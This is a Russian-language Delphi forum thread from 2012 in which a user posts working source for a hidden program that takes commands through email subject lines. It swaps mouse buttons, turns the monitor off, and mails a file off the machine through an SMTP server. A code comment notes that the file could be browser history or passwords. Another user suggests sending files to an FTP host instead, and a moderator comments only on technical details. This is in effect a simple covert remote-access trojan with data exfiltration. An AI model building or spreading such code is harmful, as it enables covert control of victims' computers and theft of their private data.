Решив добавить функцию отсылки файлов на почту столкнулся с проблемой переустановки indy. Большинство инструкций мне не понятны. И исходя из моей лени такой вопрос: А можно каким-то другим способом отправлять файлы на мыло?
Del я бы не сказал что Delphi 2010 лучше, я то же раньше ставил себе 2010, но она меня совсем не порадовала..., вернулся к Delphi 7, компоненты переустановить не проблема, я сам себе Indy менял когда то...
а файлы лучше не на почту аттачить, а сливать на собственный файловый хостинг, FTP сервер, и не будет никаких проблем...!
Сообщение отредактировал xXxSh@dowxXx - Суббота, 25.08.2012, 20:37
type
TForm1 = class(TForm)
Timer1: TTimer;
IdPOP31: TIdPOP3;
IdMessage1: TIdMessage;
IdSMTP1: TIdSMTP;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
function UpMessage: longint;
end;
var
Form1: TForm1;
msgCount, i: integer;
z: string;
implementation
{$R *.dfm}
{ TForm1 }
function TForm1.UpMessage: longint;
begin
idpop31.Connect;//конектимся с сервером
msgCount:=idpop31.CheckMessages;//узнаём кол-во сообщений
if msgCount>0 then
begin
for i:=1 to msgCount do //запускаем цикл
begin
idmessage1.Clear;// очищаем от предыдущих записей
idpop31.Retrieve(i,idmessage1);//начинаем приём сообщений
if idmessage1.Subject='1' then // если в теме письма написана команда mouse,
SwapMouseButton(true); // то меняем кнопки мыши местами.
if idmessage1.Subject='2'then
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);//Вырубаем монитор
if idmessage1.Subject='3' then
SwapMouseButton(false); //возвращаем кнопки мыши обратно
if idmessage1.Subject='4'then
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 1);//вкл.монитор.
if idmessage1.Subject='5' then
begin
With IdSMTP1 do
begin
Host := 'smtp.yandex.ru'; //и так ясно (адрес хоста)
Port := 587; // или 25
Username := 'логин'; // логин
Password := 'пароль'; //пароль
IdMessage1.From.Text := 'от кого'; // от кого
IdMessage1.Recipients.EMailAddresses := 'кому'; //кому
IdMessage1.Subject := '5';
IdMessage1.MessageParts.Clear; //чистка текста письма (обычно там х у * н я какя то типо рекламы)
IF FileExists('c:\text.txt') Then //можно указать путь к чему угодно(истории браузера, пароли и т.д.)
tidAttachmentFile.Create(IdMessage1.MessageParts, 'c:\text.txt'); //создается файл
Connect;
IF Connected Then //соеденяемся
Begin
Send(IdMessage1); // отправляем
Disconnect; //отсоеденяемся
End;
End;
end;
idpop31.Delete(1); //удаляем сообщение с командой, а то пипец будет
idpop31.Disconnect;//разрываем соединение
end
end
else
idpop31.Disconnect; //разрываем соединение
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
UpMessage;//запускаем выше описаную функцию при создание формы(запуске программы)
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
UpMessage;//повтаряем функцию(проверяем почту) каждые 10 секунд
end;
procedure TForm1.FormActivate(Sender: TObject);
begin
ShowWindow(Handle, SW_Hide);//делаем форму (можно и другим способом)
ShowWindow(Application.Handle,SW_Hide);//невидимой
end;
end.
Сообщение отредактировал Del - Воскресенье, 26.08.2012, 11:16
Дата: Воскресенье, 26.08.2012, 14:03 | Сообщение # 33
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
Del а тебя не смущает тот факт что у тебя Timer и процедура FormCreate при запуске одновременно начинают работать? (получается одновременно две попытки соединиться с почтой)...
так же откуда ты взял:
Code
Port := 587;
и что у тебя с этим портом работает нормально?
Сообщение отредактировал xXxSh@dowxXx - Воскресенье, 26.08.2012, 14:04